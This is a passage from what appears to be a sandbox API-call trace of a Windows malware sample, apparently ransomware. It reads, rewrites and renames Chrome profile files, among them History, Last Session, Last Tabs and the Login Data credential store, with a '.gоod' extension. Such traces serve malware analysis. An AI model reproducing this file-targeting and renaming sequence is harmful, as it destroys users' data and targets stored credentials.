hFile=0x63c, lpBuffer=0x3515b70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x3515b70*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0166.828] CloseHandle (hObject=0x63c) returned 1 [0166.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", lpFilePart=0x0) returned 0x4d [0166.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal.gоod", lpFilePart=0x0) returned 0x52 [0166.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0166.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5fa67f10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0166.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0166.828] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal.gоod")) returned 1 [0166.829] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", lpFilePart=0x0) returned 0x4a [0166.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0166.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session"), fInfoLevelId=0x0, lpFileInformation=0x3516de0 | out: lpFileInformation=0x3516de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5753349f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1e2)) returned 1 [0166.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0166.829] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", lpFilePart=0x0) returned 0x4a [0166.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0166.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.830] GetFileType (hFile=0x63c) returned 0x1 [0166.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0166.830] GetFileType (hFile=0x63c) returned 0x1 [0166.830] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x1e2 [0166.830] ReadFile (in: hFile=0x63c, lpBuffer=0x3517280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x3517280*, lpNumberOfBytesRead=0x1f6ea938*=0x1e2, lpOverlapped=0x0) returned 1 [0166.831] CloseHandle (hObject=0x63c) returned 1 [0168.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", lpFilePart=0x0) returned 0x4a [0168.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0168.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.259] GetFileType (hFile=0x650) returned 0x1 [0168.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0168.259] GetFileType (hFile=0x650) returned 0x1 [0168.259] WriteFile (in: hFile=0x650, lpBuffer=0x342d390*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x342d390*, lpNumberOfBytesWritten=0x1f6ea848*=0x1f0, lpOverlapped=0x0) returned 1 [0168.260] CloseHandle (hObject=0x650) returned 1 [0168.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session", lpFilePart=0x0) returned 0x4a [0168.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session.gоod", lpFilePart=0x0) returned 0x4f [0168.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0168.261] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6081d73d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0168.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0168.261] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Session.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last session.gоod")) returned 1 [0168.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", lpFilePart=0x0) returned 0x47 [0168.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0168.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs"), fInfoLevelId=0x0, lpFileInformation=0x342e5e8 | out: lpFileInformation=0x342e5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5776f89b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x132)) returned 1 [0168.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0168.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", lpFilePart=0x0) returned 0x47 [0168.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0168.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.265] GetFileType (hFile=0x650) returned 0x1 [0168.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0168.265] GetFileType (hFile=0x650) returned 0x1 [0168.265] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x132 [0168.265] ReadFile (in: hFile=0x650, lpBuffer=0x342e9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x342e9b8*, lpNumberOfBytesRead=0x1f6ea938*=0x132, lpOverlapped=0x0) returned 1 [0168.344] CloseHandle (hObject=0x650) returned 1 [0168.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", lpFilePart=0x0) returned 0x47 [0168.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0168.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.372] GetFileType (hFile=0x650) returned 0x1 [0168.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0168.372] GetFileType (hFile=0x650) returned 0x1 [0168.372] WriteFile (in: hFile=0x650, lpBuffer=0x34a76e0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x34a76e0*, lpNumberOfBytesWritten=0x1f6ea848*=0x140, lpOverlapped=0x0) returned 1 [0168.373] CloseHandle (hObject=0x650) returned 1 [0168.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs", lpFilePart=0x0) returned 0x47 [0168.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs.gоod", lpFilePart=0x0) returned 0x4c [0168.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0168.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5776f89b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x609287de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0168.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0168.373] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Last Tabs.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\last tabs.gоod")) returned 1 [0168.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0168.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0168.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x34a8930 | out: lpFileInformation=0x34a8930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52319328, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52319328, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0168.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0168.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0168.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0168.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.375] GetFileType (hFile=0x650) returned 0x1 [0168.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0168.375] GetFileType (hFile=0x650) returned 0x1 [0168.375] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0168.375] ReadFile (in: hFile=0x650, lpBuffer=0x34a8d48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x34a8d48*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0168.532] CloseHandle (hObject=0x650) returned 1 [0169.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0169.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0169.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.266] GetFileType (hFile=0x650) returned 0x1 [0169.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0169.296] GetFileType (hFile=0x650) returned 0x1 [0169.373] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x4800 [0169.373] WriteFile (in: hFile=0x650, lpBuffer=0x34d9118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x34d9118*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0169.375] CloseHandle (hObject=0x650) returned 1 [0169.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0169.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0169.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.375] GetFileType (hFile=0x650) returned 0x1 [0169.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0169.375] GetFileType (hFile=0x650) returned 0x1 [0169.375] ReadFile (in: hFile=0x650, lpBuffer=0x34dc660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x34dc660*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0169.406] CloseHandle (hObject=0x650) returned 1 [0169.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0169.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0169.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.407] GetFileType (hFile=0x650) returned 0x1 [0169.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0169.407] GetFileType (hFile=0x650) returned 0x1 [0169.407] WriteFile (in: hFile=0x650, lpBuffer=0x34db3b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x34db3b8*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0169.407] CloseHandle (hObject=0x650) returned 1 [0169.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x48 [0169.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.gоod", lpFilePart=0x0) returned 0x4d [0169.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0169.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52319328, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52319328, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x612ef837, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4810)) returned 1 [0169.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0169.407] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data.gоod")) returned 1 [0169.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", lpFilePart=0x0) returned 0x50 [0169.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0169.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), fInfoLevelId=0x0, lpFileInformation=0x355aed0 | out: lpFileInformation=0x355aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5231ba4e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5231ba4e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe761c3cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0169.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", lpFilePart=0x0) returned 0x50 [0169.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0169.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.409] GetFileType (hFile=0x650) returned 0x1 [0169.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0169.409] GetFileType (hFile=0x650) returned 0x1 [0169.409] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0169.409] CloseHandle (hObject=0x650) returned 1 [0170.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", lpFilePart=0x0) returned 0x50 [0170.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0170.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.068] GetFileType (hFile=0x768) returned 0x1 [0170.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0170.068] GetFileType (hFile=0x768) returned 0x1 [0170.068] WriteFile (in: hFile=0x768, lpBuffer=0x365d2c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x365d2c0*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0170.069] CloseHandle (hObject=0x768) returned 1 [0170.069] GetFullPathNameW (in: 